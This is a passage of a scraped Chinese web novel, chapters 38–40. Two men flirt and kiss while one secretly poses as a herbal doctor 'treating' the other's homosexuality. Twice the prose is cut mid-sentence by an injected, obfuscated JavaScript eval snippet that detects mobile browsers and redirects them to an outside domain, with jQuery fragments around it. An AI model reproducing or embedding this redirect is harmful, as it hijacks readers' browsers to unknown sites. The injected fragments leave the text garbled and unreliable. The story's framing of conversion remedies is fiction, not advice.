阕开霁理直气壮倒打一耙,“分腿和顶腰都是性暗示的动作,发出去让别人骂我是擦边男吗?” 性暗示…… 闻根结结巴巴:“那你,那你还拍?” 阕开霁皮笑肉不笑:“我辛辛苦苦健身,为什么不拍,反正又没给其他人看,你马上就要调理好再也不当同性恋了,发给你也没什么,就是分享一下日常。” 闻根一时语塞。 阕开霁摆摆手:“谢谢你的晚饭,我先走了。” “对了,你那个中药我就先不喝了,也不知道是什么鬼东西,不仅昨天晚上有点反应,今天醒来也还是……” 阕开霁看闻根:“你喝了吗?” 闻根连连摇头。 阕开霁假笑:“那就当我给你试毒了。” 大门关上,阕开霁离开了,闻根看着被关上的门板,又低头看手里的手机。 他们说话的时间,手机已经熄屏了,他点开,手机自动播放刚刚的视频。下跪、变装、挺腰…… 明明BGM暧昧又刺激,但闻根莫名其妙满脑子都是阕开霁和自己说的那些话。 不仅昨天晚上有点反应,今天醒来也还是…… 是什么?还是有反应吗? 但这个视频是今天拍的吧?他也知道这个动作是性暗示…… 闻根觉得自己就像晚上亲自放到蒸笼里的那条小黄鱼,越来越热要被蒸熟了。明明完全没有喝中药,但怎么……也出现了和阕开霁一样的症状? 中药世家继承人的小号收到闻根的新消息。 “神医,之前那些药好像就是没效果。” 阕开霁看了眼时间——距离自己离开闻根家里过去了半小时。 还挺能忍。 他懒洋洋打字询问:“那现在怎么办呢?” 没等闻根回复,他提出建议,“我给你换点药?不过我也和你说过很多遍了,药物只是辅助,主要还是看你自己。” 闻根想到从昨天到今天发生的这么多事情,茫然:“要不我不治了吧……” 这么久一点都没治好,还被妈妈发现了,爸妈还说同性恋也没什么这种话,而且阕开霁还……闻根一时不知道怎么办才好。 干嘛不治。 明明之前都口口声声不愿意接受是同性恋的事,一定要治。而且现在说不治就不治了,谁知道以后又会不会想要治,还不如让他再坚持坚持,最后意识到其实根本治不好。 阕开霁鼓励:“干嘛不治啊,你就是个普通人,普通人怎么能当同性恋,怎么能喜欢男人呢?再努力努力,一定能治好的。” 神医真好。自己都想要放弃了,他还在鼓励自己。 他越发内疚:“对不起神医。” “可我真的不争气,他随便做点什么,我一天的药都白喝了。” 38.第 38 章 闻根的同性恋治疗陷入一种诡异的地步。 他自己都失去一定会治好的信念,开始考虑要不就不治了。但之前总是告诉他不如停药放弃挣扎等三十岁自动变直的中药世家继承人却再三鼓励他,让他一定要好好吃药抓紧痊愈。 毕竟自己已经麻烦对方这么多,闻根不好意思告诉对方自己不治了要让他的心血付诸东流,于是硬着头皮接着治,中药照旧喝,戒同课程依旧看,但内心总有点知道自己无可救药索性放弃挣扎的认命感。 奈何他日常表情呆滞一双死鱼眼看不出什么情绪,所以哪怕现在暗自做了个足以影响后半生的决定,面上看上去也和之前没什么区别。 他的生活依旧一成不变,日常上班回家、吃饭睡觉、喝中药听戒同课程…… ——然后他就收到阕开霁的信息,阕开霁询问:“把那个补肾的中药换回去了吗?我觉得自己马上就要治好了,再给我喝点,一鼓作气调理好算了。” 闻根死水般平静的生活被蝴蝶偶然落脚,荡起一圈圈涟漪,他顺着涟漪追逐,马上回复阕开霁:“不用换,医生说现在就要喝这个药,观察之前的药有没有效果。” 一面和医生说要不不治了,对方随便做点什么他一天的药都白喝了。 一边还在这边跟自己说医嘱假装还在认真治疗。 阕开霁不满,询问:“那你有效果吗?” 有效果就是治好了不喜欢对方,没效果就是依旧是同性恋喜欢对方。 虽然好像一直都没有效果,但之前确定自己要治好重新当个普通人,面对阕开霁这种询问也会自欺欺人说有效果。可现在还要这么说吗? 闻根看着这句话不知道怎么回答,用自己木头般的脑子想了又想,把这个问题抛给阕开霁:“你觉得有效果吗?” 阕开霁理直气壮:“谁知道,我又没有实验过,怎么知道有没有效果。” 怎么实验? 闻根有些茫然。 他倒是不觉得自己还需要实验,毕竟他已经很清楚的意识到因为自己没用所以前段时间的努力完全白费,对他来说没一点效果这件事。他只是不清楚阕开霁要怎么实验,并对阕开霁的所有事情保持好奇,和作为工蚁仰望蝴蝶般的期许心态。 他不知道,只好问了:“怎么实验?” 阕开霁:“晚上回去再给你说。” 闻根一板一眼:“好的。” 阕开霁:“对了,你还没给我发今天的治疗方案。” 闻根只好从自己那堆戒同课程压缩包里找到一个,给阕开霁发过去。 阕开霁接收。 他又忍不住问:“有效吗?” “应该有效吧,但没试验过也不知道到底多有效。” 不管是中药还是其他治疗方案,对自己的效果微乎其微,但在阕开霁身上好像就格外有效。闻根一方面有点难受,另一方面又觉得阕开霁果然是蝴蝶,和自己完全不一样。 就是不知道阕开霁说的实验到底是什么样。 带着期待和紧张,下午的时间过去得格外快。到了下班,闻根早早收拾好东西起身回家。但回去之后等了很久,阕开霁才回来。他甚至没回家,越过自己家门走到闻根门口,敲门。 闻根打开门,发现阕开霁今天穿了件宝石蓝的衬衣,衣服上有浅蓝和白色暗纹,外面是件戗驳领皮质西装,看上去很有质感。 明明都认识这么久了,但阕开霁好像一直都有闻根没看到过的好看衣服。 他看阕开霁的时候,阕开霁也正在看他,发现他穿着件不知道从哪儿翻出来的黑色牛仔裤,细闻好像还能闻到点说不出的奇怪味道,眼前也跟着一黑。 他皱着眉,问闻根:“什么味道?” “什么?” 闻根想了想,指厨房,“我做了饭,锅里正在煮冬瓜汤,你要吃吗?” “不是厨房。” 阕开霁低头,棕色头发垂下,荡在闻根肩膀上。 闻根瞬间就嗅到发丝上浓香的蓝风铃味道,和阕开霁说的一样甜。他一时晃神,听到阕开霁问:“你身上什么味道?” 闻根鼻尖都是蓝风铃的味道和阕开霁身上的甜桃味,脑子有些迟钝:“什么?” 阕开霁站直,闻根举起胳膊嗅闻。 蓝风铃随着阕开霁的离开而消散,在鼻尖扫了他一下,就被另一种格外明显的气味驱逐。在察觉的这个味道后,闻根不好意思:“是……樟脑丸。” 阕开霁怀疑自己的耳朵:“什么?” “樟脑丸,防虫防霉的。” “我当然知道樟脑丸是防虫防霉的。” 阕开霁想到那个味道,再看看闻根身上土气的衣服,不可置信,“你这些衣服还怕发霉?” 而且都这么年代了,怎么还会有人用樟脑丸? 闻根一板一眼告诉阕开霁:“梅雨季天气太潮,衣服晒不干就会发霉。” 阕开霁:“烘干机。” 闻根一双死鱼眼依旧木讷,告诉阕开霁:“但衣柜可能会有蟑螂。” 阕开霁:“……” 他就说,闻根总能用一种他完全想不到的视角看问题,踏实得让他汗颜。 他没说话,闻根又问:“要来吃饭吗?” 阕开霁:“够吃吗?” 闻根连连点头。阕开霁这才走进来。 他告诉闻根:“我本来是想来问问你还有没有中药的。” “还是那个补肾的。” 阕开霁:“都过去这么几天了你还没喝完?” “还没有,那是两个人的份,我一个人的话要两个月才能喝完。” 阕开霁沉吟着点头。 闻根问:“你要怎么实验之前的药有没有效果?” 阕开霁看他,突然笑了笑。 殷红嘴唇勾起,好像盛开的花朵。闻根当即就觉得喝了这么久的补肾的中药开始作孽,让他控制不住浮想联翩。 阕开霁看着闻根呆板木讷的死鱼眼、眼角下那颗泪痣,还有肉嘟嘟的耳垂,告诉他:“很简单啊,有效的话就不会是同性恋了,那面对同性就不会有想要亲密的想法,试一下就好了。” 都已经说这么明白了,闻根还像是没听懂,问:“怎么试?” 下一刻,眼镜被摘下来,阕开霁顺手把眼镜别在自己衬衣领口,凑近了看闻根。 闻根好像被控住,明明近视度数过深看不真切,还是睁着眼看向阕开霁眼底,看那片深冬晨雾般的灰蓝。 鼻尖越贴越近,他能感觉到阕开霁的呼吸洒在自己鼻尖。身体已经猜到要发生什么,越过理智开始紧张。 闻根感觉到鼻尖蹭上阕开霁高挺坚硬的鼻骨,随后对方稍稍偏头,鼻尖在他鼻头上蹭了两下。 如果中药有效果自己调理好了,现在大概不能接受和男人这么亲密的行动,会立刻躲开。但闻根根本做不出任何反应,目光被鼻尖遮挡看不到眼睛,就虚虚盯着鼻尖。 阕开霁低头,柔软嘴唇蹭到他的。 闻根脑子一空。 然后阕开霁突然站直,居高临下看闻根。闻根还没彻底回神,嘴唇微张,听到阕开霁说:“这个樟脑丸味熏得我头疼。” 蝴蝶身上就是香香的蓝风铃和桃子,自己就是樟脑丸,面对这么大的差距,闻根内心气馁,目光追逐着阕开霁,无助询问:“那怎么办?” 阕开霁挑剔的看着他土气的T恤,命令:“把衣服脱了。” 闻根拽着衣角,结结巴巴:“但是……” 说着但是,但阕开霁拎着衣角要把他的衣服脱下来时,他也没有很明显的挣扎。 把充满樟脑丸味道的衣服丢到一边,阕开霁终于觉得自己能够呼吸了,他扫了眼闻根。 和生日那天喝醉酒照顾对方时看到的一样,细狗身材,锁骨底下和大臂处有明显的分界线,露出来的皮肤算不上黑,但藏在衣服底下的肤色却明显白一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740023|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,身体没什么色素沉淀,就连那两点颜色都格外浅一点,他这么一低头,还能看到后腰隐隐凹陷进去的腰窝。 手指还留着按进腰窝握住这节腰的触感。 阕开霁飞快把黑色皮衣脱下来。 闻根只觉得身上一凉,带着甜桃香气的皮衣就蒙头罩过来。外面的皮质那么凉,但里面却还残留着阕开霁的温度,盖在他肩膀上。 跟着一起蒙头散下来的是阕开霁的头发,还有结结实实的吻。 还带着钉子的舌头勾了下闻根的,舌尖被钉子剐了一下,还没感觉到什么,阕开霁退开,气定神闲问闻根:“觉得恶心吗?” 闻根回味着刚刚被舌钉剐到的感觉,干咽了下,恍惚摇头。 于是阕开霁结结实实吻上来。 舌钉的存在感很强,经常磕到闻根的舌头和牙齿,他甚至有种自己也打了舌钉的感觉,不得不把嘴巴张得很开,才能保证带着钉子的舌头自由动作。但没一会儿他就下颌泛酸,嘴角都溢出湿润。身上披着的衣服肩膀实在太宽,他挂不住,衣服就一个劲往下滑,只剩下最后一角被阕开霁压着,捂在他身上。 闻根觉得自己也要跟着皮衣滑下去,落在地上变成一滩水。 也不知道亲了多久,阕开霁退开,手还隔着皮衣压在闻根腰间,垂眸不知道看到什么,嘴角翘了翘,这才把衣服拎起来重新披好,又伸手扣上颗扣子。 衣服的温度消失殆尽,贴在身上有点凉,闻根低头看即使扣上扣子也很大的领口,又眯着眼试图寻找自己不知道被阕开霁丢到哪儿去了的T恤。 但近视度数有点深,白色T恤落在白色地板上根本不显眼,他一时没看到,又看向阕开霁想要拿回自己的眼镜。 都不用他说,阕开霁把眼镜给他带上。 眼前一下清晰起来,所有的东西都小了一圈,闻根还在适应这个陌生的视角,阕开霁缓步走过来,一脚把躺在地上的T恤踢到垃圾桶旁边,嫌弃:“这件衣服不要穿了。” 闻根欲言又止,最后也只是窝窝囊囊:“哦。” 阕开霁:“樟脑丸也不要用了。” 闻根:“有蟑螂。” 阕开霁忍无可忍:“你干了什么家里会有蟑螂?这么邋遢吗?” 闻根解释:“现在还没有,万一有呢?” 阕开霁假笑:“那就养着,每天留些剩饭给它们吃,还能把你喝剩下的中药渣留给它们调理性取向。” 闻根有点难以想象,皱着脸问:“蟑螂也会有同性恋吗?” 阕开霁笑容更加虚伪:“为什么没有呢,人都可以当同性恋,蟑螂当然也可以。” 被亲吻过的嘴唇还微微泛肿,舌头和上颚还残留着被钉子划过的感觉,闻根呆板说:“那蟑螂喝中药……” “喝着吧,万一就调理好了呢。” 阕开霁催促,“看你刚刚的样子也知道还没调理好,我们快点调理成正常人。你知道的,我没当过正常人。” 闻根在原地站了一会儿,披着阕开霁的皮衣,转身去厨房把中药煮上了。 中药要煮很长时间,两人一起吃了饭,阕开霁没在这里久呆,帮着收拾了厨房就回了家。隔了四个多小时,大晚上头发带着潮气推开闻根的门。他换了件睡袍,依旧是黑色,但带着大片白色花纹,面料柔软贴身,勾勒出肌肉线条。 即使已经看过那么多次,但看着这幅场景,闻根的死鱼眼还是颤了颤,把阕开霁迎进来,张罗着给他盛中药。 阕开霁拒绝:“我不是来喝中药的,我是来要我的皮衣的。” 闻根刚刚也洗了澡,已经把衣服脱下来放好了,现在闻言马上拿过来递到阕开霁手里。 看阕开霁拿了衣服就要走,他问:“那个……你不喝点吗?” “喝什么?” 阕开霁看了眼厨房的位置,“补肾的中药?我喝拿东西干嘛。” 他问:“喝出反应了你会给我处理吗? ” 39.第 39 章 怎么这个问题还能来回反复问啊! 闻根讷讷无言,沉默以对。 阕开霁看他这个鸵鸟装死的样子就觉得好笑,最后撇了他一眼,通知:“把你秋季的土衣服都丢了,明天下班前给我打电话,带你挑喜欢的衣服去。” 挑喜欢的。 闻根点头:“好。” 睡前他认认真真倒腾衣柜,把充满樟脑丸气味的衣服翻出来,一件件仔细看,先问自己是不是喜欢。 但他很难得到准确的答案。 因为他习惯穿这样的衣服,过于习惯好像也能生出点喜欢。 可阕开霁说要把土衣服丢掉……闻根开始转变策略,拿着衣服思考阕开霁会不会觉得这件衣服好看。 这下结果一目了然了。 都不用思考,一眼扫过去,纯色的黑白灰基本都会被阕开霁归于丑衣服的行列。 不过如果都丢掉,明天自己上班穿什么? 闻根为难很久,最后还是求助神医。 阕开霁举铁举到一半,给闻根搭配了套明天上班的衣服。看着闻根发来再三道谢的信息,想到他那双死鱼眼,又无语又想笑。 第二天的时间流速变得很慢,往常很快就到的下班时间遥遥无期,好不容易熬到四点半,领导突然说要开会,闻根有点不妙的预感。 最后果然如他所料,一个会开完都下班十几分钟了。 阕开霁发信息给他说已经到他单位楼下了,闻根着急慌忙,甚至来不及和同事打招呼,急匆匆把东西一拿就出去了。 迈出大门时,一眼就看到在外面等着的阕开霁。 阕开霁没看手机也没左顾右盼,就盯着大门,手指偶尔拨弄下腕上的手串。他身后的墙上凌霄花已经枯萎,只剩下依旧茂盛的叶子,阕开霁站在那里,好像无意经过的蝴蝶,但此刻为他驻留,专心等待。 闻根的脚步越来越慢,几乎怕惊扰这只蝴蝶。 阕开霁只是看着他,说:“快点。” 闻根又加快速度走过去。 阕开霁昨天亲眼看着闻根把衣服从衣柜里拿出来,做好闻到樟脑丸气味的准备,但随着闻根的走近,只闻到淡淡洗衣液味道。衬衣很整齐,并没有昨天晚上照片里看到的褶皱。 是洗过又熨平的。 木头也主动抽出嫩芽了? 阕开霁觉得稀奇,看了闻根好一会儿。 闻根有点紧张:“等很久吗?” 阕开霁:“半小时吧。” 闻根:“对不起,是领导临时开会。” “那你说什么对不起。” 闻根抿抿嘴,又低头看自己,问:“还丑吗?” 阕开霁义正辞严:“我没说过你丑,只是说这些衣服很土。” “哦哦!” 闻根点头,看阕开霁,欲言又止。 阕开霁等他说出什么惊天地泣鬼神的话,没想到他只是问:“那还土吗?” “没。” 阕开霁打开车门:“走吧。” 和上次一样,逛了许久试了很多衣服,最后买上版型合适又不过分胡哨的衣服,再买上搭配用的鞋袜,收获满满。 拿着阕开霁给挑的手环出来时已经八点多了。走了这么久饥肠辘辘,闻根主动:“我请你吃饭吧!” 阕开霁:“吃什么?” 闻根提了家人均四位数的高级餐厅。 阕开霁兴致缺缺:“还不如你回家给我煮个疙瘩汤。” 闻根:“……” 他一板一眼告诉阕开霁,“明天给你煮吧,今天请你吃饭表达感谢。” 阕开霁想了想:“说好带你去夜市,你还想去吗?” ——是很早之前,闻根还不知道阕开霁是男人,告诉阕开霁堂哥之前说要带自己去夜市,但后来堂哥出事,自己再也没去过。阕开霁说他会带自己去。 还没来得及去,闻根发现阕开霁是男人,只急着一起喝药调理,也没去了。 现在听阕开霁说起,闻根想到那时候,又想到堂哥和阕开霁的过去,些许感慨。 阕开霁:“去不去?” 闻根慌张:“去。” 就去了。 初秋的夜市非常热闹,人很多,有中年男人坐在烧烤摊塑料椅上喝着啤酒聊天,也有年轻女生摆着ins风小推车卖雪媚娘,人群攘攘熙熙,说起来也和白天的小吃街没什么区别。 但现在已经是夜晚了,自己不再是和以往一样在家里无所事事,而是在这里。好像有那么一瞬间,他回到很早之前,面对堂哥带自己逃课去夜市玩的邀请,终于勇敢摆脱普通听话学生的一成不变和懦弱,勇敢迈出新一步。 闻根有一霎时的恍惚。 他甚至怀疑自己会看到同样在夜市摆摊的阕开霁……还很小的阕开霁,摆摊卖首饰,自己当模特把首饰往身上戴,打扮得花枝招展。 正巧看到个摊位,摆着些亮晶晶的小首饰,女生三三两两在摊位前挑选着。闻根的眼神就飘了过去。 摊主也是个女生,很瘦,正拿着个项链在胸口比划着,吊坠折射着灯光,在近视散光的闻根眼里,就是明晃晃的一团。但四射开来的一团中间,项链本体似乎是蝴蝶形状。闻根愣愣的盯着,想要看得更仔细些。 耳边听得“啧”的一声。 阕开霁阴阳怪气:“好看吧?” 闻根还是没看清楚,不得不微微眯起眼睛仔细看。 确实是蝴蝶形状的吊坠,阕开霁没有。不过也有可能有,只是阕开霁没带出来过——闻根蹙眉仔细想了想,确定自己就是没在阕开霁的首饰盒里见到过这条项链,没亲眼见到阕开霁带出来,也没在阕开霁的vlog里见到这条项链。 陷入回忆的他有些失神,眼睛还盯着那条项链,恍惚回答:“好看。” 阕开霁冷笑:“好样的。” 你果然是只看脸,看到同样长得好看的,根本移不开眼。 对方可是个不折不扣的女生,还不用你调理了,开心吧? 闻根不太清楚阕开霁为什么这样说,看阕开霁自顾自要往前走,下意识拉住他的手:“等等。” 阕开霁的手和脸完全不一样,手心满是茧子,又粗又硬。 阕开霁停住脚步,鼻子不是鼻子脸不是脸的:“干嘛?” “快松手,谁家正常直男这样拉男人的手啊?不怕别人发现你是同性恋吗。” 闻根一哽,松开手,在阕开霁越发阴阳怪气的目光下,说:“我们去看看吧。” 阕开霁:“自己去吧,喜欢的话勇敢一点,反正你……” 闻根:“那个项链是蝴蝶的,你没有。” 阕开霁剩下的话没说完,垂眸看闻根。 闻根不知道他为什么这么看自己,看看他又看那个摊位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752270|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在摊位前又多了几个女生,他担心慢一点项链就会被别人买走,想拉阕开霁赶紧过去。但手伸到一半想到阕开霁刚刚让自己松手的话,又收回去,催促:“去看看吧。” = 那条项链其实是阕开霁亲自设计的项链……的仿版。 他们品牌正品用的都是纯银和纯天然宝石,不过银价和天然宝石也不算特别贵,他们品牌的首饰单价都控制在四位数以下。这款蝴蝶项链的价格也就是三百多,平时赶上活动用完券也能两百多拿下。 结果这个夜市小摊上的仿品,做工粗糙就算了,摊主还一张嘴要五百二。 怎么不去抢。 阕开霁心里刚说完这句话,转眼就看到闻根忙不迭拿手机扫码,说:“那给我包起来吧。” ? 有钱没处花了? 他拽住闻根要付款的手:“停。” 手指感觉到阕开霁手心的茧子,闻根看过去。 阕开霁:“别买,我有。” 闻根看看他再看看手里的项链:“你有吗?” 他怀疑,“我没见你带过。” 是锁骨链,很细的链条,三个蓝色小蝴蝶,还坠了颗珍珠和宝石拼成的小花。 非常女性化的一条项链,阕开霁平时没找到带出去的场合和穿搭,也不想为了搭配这个项链调整自己的衣物,索性压箱底了。 现在看闻根这么说,把他的手机拿走收起来,自然把闻根的手拉紧攥在手心里,牵着他往前走:“有,回去带给你看。” 手被拉住,闻根感受着阕开霁手心的温度,飞快把那条项链忘到一边。 = 在夜市吃了些乱七八糟的小吃,回去后阕开霁就兑现承诺,翻出那条项链要带给闻根看。 他解开后面的卡扣,带好,然后把头发整理好,再整理好项链,让蝴蝶刚刚好躺在锁骨上。 闻根已经看直了眼,死鱼眼看上去更木了。 明明是看狗都深情的桃花眼,偏偏被五百多度的近视拖累得像死鱼,透过五百度近视镜,看什么都一个样。 阕开霁有点受不了,伸手把他的眼镜摘了。 距离有点远,摘下眼镜闻根就看不清项链了,只能看到阕开霁白皙的皮肤,还有锁骨凹陷的小洼里宝石折射的光。 他看不到又想看,只能眯眼仔细瞅。 阕开霁又啧了声,把眼镜又带回去:“算了你还是带着吧。” 闻根扶正眼镜,有些心虚:“我还是带不上隐形。” “下次我给你带。” 阕开霁一边说话,一边拨了下项链,又把衣服往下拉:“这件衣服衣领太高,带锁骨链不好看。” 他解了两颗扣子,结实胸肌就露出来。 镜片后面,闻根的目光更呆滞了。 阕开霁心满意足,还要刻意说:“我看你一直看着那个摊主小姑娘,以为你调理好了。” 闻根连连摆手:“我在看项链。” 阕开霁:“那现在呢?” 现在也是看项链吗? 在阕开霁期待答案的目光下,闻根吭吭哧哧结结巴巴:“呃……不是。” 阕开霁点头:“哦,我戴着不好看,还是刚刚在摊主小姑娘身上时已经看厌烦了?” 闻根摇头:“不是。” 但到底为什么不是,怎么也没说出个所以然来。 40.第 40 章 阕开霁走后,闻根把新买的衣服洗过一遍晾干,第二天就穿着新衣服出去了。 阕开霁不能接受他衣柜里的樟脑丸,威胁闻根再让他闻到那个味道就买蟑螂卵丢到闻根家里。 闻根觉得他肯定不会这么做,但看阕开霁态度这么坚定,也听话的把樟脑丸丢掉了。只是丢掉之后衣柜还有樟脑丸的味道,阕开霁把自己的香水拿过来,往闻根衣柜里喷了好几泵。 不是他经常用的甜桃,而是另一种,很辽阔的味道,一点都不甜,甚至有点淡淡腥味。 他喷了几泵后随手就把香水放在闻根打开盖衣柜里了,闻根拍照搜索,发现是宝格丽的碧蓝。很著名的海洋系香水。 他给阕开霁发信息说香水很贵,阕开霁说反正不用了让他留着喷衣柜。 闻根又放回衣柜原处,第二天带着浓浓海洋气息去上班。 他这一套是阕开霁给他配的,假两件黑色T恤,衣领做出不规则的边缘透出底下的黄色,加上小片黄色刺绣,底下是深蓝色牛仔裤。 刚到单位,闻根旁边的同事就好奇说:“诶小闻换衣服了?这一套看着很年轻嘛。” “之前夏天也是,有一阵穿得很好看,不是说有喜欢的人了吗?追到了没?” 闻根随便找了个工作问题询问,才勉强把话题转移。 因为阕开霁陪自己买衣服、又给自己香水,闻根请他吃了两天的饭。 阕开霁健身需要控碳,说着不如回家吃疙瘩汤,其实也没吃多少。 闻根心里过意不去,周末一大早给阕开霁发消息询问他想吃什么,自己请他吃。 阕开霁让他随便做点饭。 闻根就去买菜做饭,中午请阕开霁来家里吃饭。 阕开霁早起回复邮件,健身后洗澡换上好看衣服还带着手链,打扮得像能出去拍杂志。推开门看到闻根眼镜上带着片水痕,在超市买味精送的粉围裙上还沾着小片酱油污渍,那种闻根身上独有的踏实感把他从云端拽下来,踩在实地上让他感受生活的力量。 他走进去。 闻根这次的米饭里加了些小米和燕麦米,吃上去口感很丰盛 ,其他的菜品还是那样,闻根有一种把所有菜都做出一种味道的天分。阕开霁吃了这么几次,意识到是因为闻根总是放很多松茸鲜。 阕开霁伸胳膊夹菜时,手腕上那条绿棕编织手链就会晃一下。 闻根忍不住问:“你下午要出去吗?” 阕开霁并没有出去的打算,之前很少在家,因为自己一个人在家就会觉得生活无趣,需要找些刺激的事情做。所以出去喝酒、露营,做一些挑战自己的事情。实际上不过就是想要摆脱一个人时觉得生活错位的恍惚。但现在不用了,现在觉得无聊的话,他更愿意敲开这扇门,戳一下每天在家里摆着尾巴吐泡泡装死的咸鱼。 所以听闻根这么问,他没有给出确定的答案,而是反问:“怎么了?” 闻根结结巴巴说出充满刻板印象的话:“你穿这么好看,应该是要出去玩吧?” 阕开霁心念一动,问:“你要和我一起去玩吗?” 死鱼眼掀起波澜,闻根几分期待:“还和上次一样吗?” 阕开霁问:“上次做了什么?” 闻根:“逛街、吃饭、喝酒。” 他的声音越来越小,说完喝酒后戛然而止。 但两个人都还记得喝完酒后做了什么。 ——他们那天还接了吻。 阕开霁:“换点事情做吧。” 换点事情?那做什么。 闻根对出去玩有一个统一的流程。找个地方逛逛、吃饭、看电影,回家。除了这些还能做什么? 阕开霁拿出手机看了看:“朋友开了家射箭体验馆,去玩玩吗。” 射箭? 闻根连连点头。 吃完饭,闻根去换了件衣服,对着镜子整理着装时想到什么,打开抽屉看到里面的隐形眼镜。他看看隐形眼镜再看看脸上的透明框眼镜,几经犹豫。他探出头,问客厅的阕开霁:“你能帮我戴隐形吗?” 阕开霁走过来。 闻根之前一直觉得卫生间空间很大,但阕开霁一进来,空间好像被压缩了一样,他不得不后退一步,后腰抵在洗手池上。 但阕开霁也跟着往前一步,把这点距离重新拉近,热度和甜桃香一起袭来。阕开霁接过他手里的隐形,撕开包装,越过他洗了手,然后把闻根的眼镜摘下来。 眼前一切都变得模糊,又都大了一圈,闻根眨了下眼,看阕开霁散下来的发丝。 “抬眼。” 闻根下意识顺从,抬眼看阕开霁的眼睛。 阕开霁用工具吸起隐形眼镜,一手拨开闻根眼皮。 指腹上带着茧子,而手下眼皮则是柔软单薄。阕开霁心里泛起一阵柔软,把隐形眼镜凑近。 闻根看着阕开霁灰蓝色眼睛失神,余光突然注意到隐形眼镜逐渐逼近,眼皮就控制不住要闭上。眼皮被阕开霁的手紧紧拨着闭不上,瞳孔就一个劲往下翻,只剩下白色眼球,像死鱼。 阕开霁看着这颗白色眼球,无语:“抬眼。” 闻根抬眼,黑色眼瞳重新翻上来。 阕开霁手疾眼快把隐形戳进去,冰凉镜片触到眼球那一刻,闻根下意识闭眼,眼球一翻,隐形眼镜就掉出来了。 阕开霁:“……” 闻根心虚:“对不起……” “没事。” 阕开霁伸手把掉到闻根衬衣上的镜片拿起,放在护理液里泡一下,再用工具戳起来,“我总算知道你为什么每次都把眼睛戳这么红了 。” 闻根讷讷无语。 阕开霁再次拨开他的眼皮:“看我。” 闻根就看着阕开霁,对上阕开霁灰蓝色眼睛。余光里隐形眼镜越来越近,他越来越紧张,眼球乱颤。 阕开霁提醒:“看我。” 闻根就看阕开霁。 薄薄的镜片戳进去,一阵冰凉。阕开霁松开他的眼皮,闻根闭眼,感觉到那阵冰凉紧贴在眼球上,随后消失,之后只剩下眼皮上一圈很细微的摩擦感。 再睁眼,一只眼非常清晰,而另一只依旧是模糊的。骤然睁开眼接收到不同的画面,有点晕。 他还没来得及惊讶,阕开霁又戳起来只隐形眼镜,拨开他另一只眼皮:“还是看我。” 有了上次成功的经验,这次闻根就只看着阕开霁,很快就把这只也带上了。 眼前的一切都清晰起来,而且比他记忆里的要大上一圈。离他最近的阕开霁巨人一样,肩膀宽得像堵墙。 闻根一时反应不过来,借着收拾眼镜盒的动作转身。 和阕开霁的距离依旧很近,转身的时候后腰擦着阕开霁的胯。 他脑子一空。 这时候又看到镜子里的自己,脑子更空了。 他看看镜子里的自己再看看镜子里的阕开霁,逐渐呆滞。 带镜框眼镜时呆也就算了,怎么戴隐形眼镜还这么呆? 阕开霁问:“怎么了?” 闻根指着镜子里的自己:“这是我?” 带上隐形后阕开霁整个人大了一圈,脸也大了但眼睛和鼻梁也都等比例放大,看上去就是加大版的阕开霁。但镜子里的自己脸很宽,眼尾尖尖的看上去很奇怪,就连鼻梁都塌下去一节。 闻根不太能接受。 但阕开霁眼里,只是摘下了眼镜,和平时没什么区别。眼睛大了一圈,眼角泪痣没有遮挡全部露出来,被眼镜压塌下去的那节山根还留着淡红压痕,可怜兮兮的。 “就是你。” 他举看着镜子里的闻根,不明白闻根的表情为什么突然变成不可置信,不过这样很生动,他多看了两眼,揪住闻根的衣领,“别看了,走吧。” 闻根只好跟着往前走。 阕开霁跟堵墙一样又高又宽,行走时路过的一切也都大了一圈,客厅、走廊、包括他自己。所有的一切都有点陌生,等到了停车场,阕开霁去开车时,他盯着地上路过的蚂蚁,怀疑,这真是蚂蚁?怎么都有苍蝇那么大了? 阕开霁把车开出来,看到他站在路边看蚂蚁,又觉得他呆得让人震撼。按了下喇叭,闻根打开车门坐进来,阕开霁问:“看什么呢?” “东西都很大,不太习惯。” “隐形眼镜就这样。” 阕开霁先这么说,随后莫名开始思考,如果是闻根现在会怎么考虑这个问题。 他想了想,说,“那等会儿射箭还挺有优势的。” 闻根有点不理解。 阕开霁却想到闻根这么说的样子,自顾自乐了一会儿。 等到了射箭馆,闻根马上就明白阕开霁什么意思了。靶子也大了一圈,中间那个十环的红格外明显。 阕开霁的朋友教他怎么使用弓箭,闻根一边听一边摸索着手里的弓箭,忽听到耳边破空声响起,身边阕开霁一箭射出去,正中十环。 ——他靶子上的十环。 隐形眼镜看东西实在是太清晰了,隔着这么远的距离,他好像还能看到插在靶子上的箭羽还在细细颤动。 他的心也跟着细细颤动,良久不休。 阕开霁朋友倒是不知道他俩的心路历程,嘲笑:“你都偏到哪儿去了,准头这么差就别丢人现眼了。” 阕开霁没理会他,搭弓射箭。 这次准准插到他自己靶子上的十环。 闻根在教练的指导下试着射了一箭,可能真有隐形眼镜的功劳,准头居然也还算不错,第一次就中了。 但第二次就失败了。 他多练习几次,也还都是失败。 还想反复练习时,阕开霁敲了下他的头:“别练了,没运动基础第二天会胳膊疼。” 闻根放下弓箭,两人又待了会儿,晚上和阕开霁的几个朋友去吃了顿饭。 吃完饭几个人说要去喝酒,闻根有点不想去又有点跃跃欲试。 